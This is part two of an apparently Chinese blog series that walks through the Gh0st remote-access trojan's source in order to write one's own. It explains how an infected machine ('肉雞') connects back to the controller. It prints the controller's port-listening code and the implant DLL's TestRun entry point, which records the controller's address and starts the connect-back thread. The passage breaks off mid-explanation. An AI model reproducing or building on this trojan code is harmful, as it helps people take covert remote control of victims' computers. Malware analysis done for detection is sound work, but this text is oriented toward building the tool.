gh0st原始碼分析與遠控的編寫(二)
上次說了那麼多,基本上就是一個叫“大局觀”的東西,只有腦子裡有了一個軟體的設計、執行思路,才能把一個一個類寫出來,組合在一起。
Gh0st的作者是一個對程式碼有很好掌控的人,他對程式碼的組合,類之間的關係,面向物件的思想有很深入的理解。而對我們看原始碼的人來說,這種結構化、條理化的程式,閱讀起來十分輕鬆,思路也十分清晰。
廢話不多說,我們今天來看一下gh0st的上線。所謂上線,就是我們被控端啟動起來,並主動連線我們主控端,建立起TCP連線以後,主控端就可以通過相關命令來操作被控端了,這就是一臺“肉雞”的上線。
上線以後,主控端就獲取到被控端計算機的相關資訊,如下圖:
介面就是完全按照老狼的gh0st教程中的介面設計的。我們開啟原始碼,看看上線,gh0st是怎麼處理的。
以後每次文章,我會把我的原始碼發上來,大家看我的原始碼就可以了。這裡先簡潔地介紹一下我的原始碼。有如下一些檔案。
這是一個解決方案,其中:MainDll是被控端,一個動態連結庫的工程;DLLTest是載入dll的普通控制檯工程;PhRemote是主控端工程,MFC的介面。Bin是我們輸出資料夾,編譯好的檔案會在其中,其中又有兩個資料夾,PhRemote是主控端,server是被控端,server中放著exe和dll,點選exe就算啟動了被控端。Common中放著三個工程都可能用到的檔案。
回到程式碼上。在主控端方面,首先我們開啟了一個埠(80),來等待被控端的連線。這些工作由Activate函式完成(在PhRemote中搜索該函式找到它):
void CPhRemoteDlg::Activate(UINT uPort, UINT nMaxConnect) { CString str; if (m_iocpServer != NULL) { m_iocpServer->Shutdown(); delete m_iocpServer; } m_iocpServer = new CIOCPServer(); if (m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort)) { char hostname[256]; gethostname(hostname, sizeof(hostname)); HOSTENT *host = gethostbyname(hostname); if (host != NULL) { for ( int i=0; ; i++ ) { str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); if ( host->h_addr_list[i] + host->h_length >= host->h_name ) break; str += "/"; } } str.Format("監聽埠: %d成功", uPort); AddInfoList(TRUE, str); } else { str.Format("監聽埠: %d失敗”, uPort); AddInfoList(FALSE, str); } }
首先,變數m_iocpServer,這是我們上次說到的gh0st資料傳輸使用的CIOCPServer類物件,m_iocpServer = new CIOCPServer(),為它在堆上分配記憶體。以後我們的資料傳輸,都使用該物件來完成。
之後我們呼叫了該物件一個成員函式:m_iocpServer->Initialize(NotifyProc, this, nMaxConnect, uPort),我們右鍵 - 轉到定義,可以檢視到在CIOCPServer函式的定義。
大概就是初始化socket套接字的一個過程:WSASocket > WSACreateEvent > WSAEventSelect > bind > listen > 進入監聽執行緒。這已經是socket程式設計的一個基礎了,我就不多講。不過,其中用到了Event這個概念,這是完成埠模型中用到的概念。大家可以自己網上搜索一些非同步IO模型的相關資料學習。
在m_iocpServer->Initialize函式執行完成後,等於說已經開始監聽80埠了。這個if語句中有一個for迴圈,該迴圈並沒有用上,到此為止我也不知道老狼的原始碼中為什麼會有這樣一段。它的作用是獲取本機在所有網段下的ip地址,以/分隔。
最後,監聽成功或失敗則向下面一個ListCtrl中增加一條資訊。
好,我們在轉向被控端,就是那個dll工程。我們這個DLL只有一個匯出函式,就是TestRun,執行了這個函式,等於開啟了被控端。找到該函式:
1 |
extern "C" __declspec ( dllexport ) void TestRun( char * strHost, int nPort ) |
2 |
{ |
3 |
strcpy_s(g_strHost, _countof(g_strHost),strHost); //儲存上線地址 |
4 |
g_dwPort = nPort; //儲存上線埠 |
5 |
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, ( LPVOID )g_strHost, 0, NULL); |
6 |
//這裡等待執行緒結束 |
7 |
WaitForSingleObject(hThread, INFINITE); |
8 |
CloseHandle(hThread); |
9 |
} |
該函式有兩個引數,分別是主控端的IP和埠。如果不知道IP和埠,我們也不能向主控端發起連線,不是嗎?
本函式實際上是開啟了一個執行緒,執行main函式。開啟main函式,我只找關於上線的相關程式碼:
首先聲明瞭一個CClientSocket socketClient;物件,我之前說了,被控端的資料傳輸,由CClientSocket類完成。
之後:
|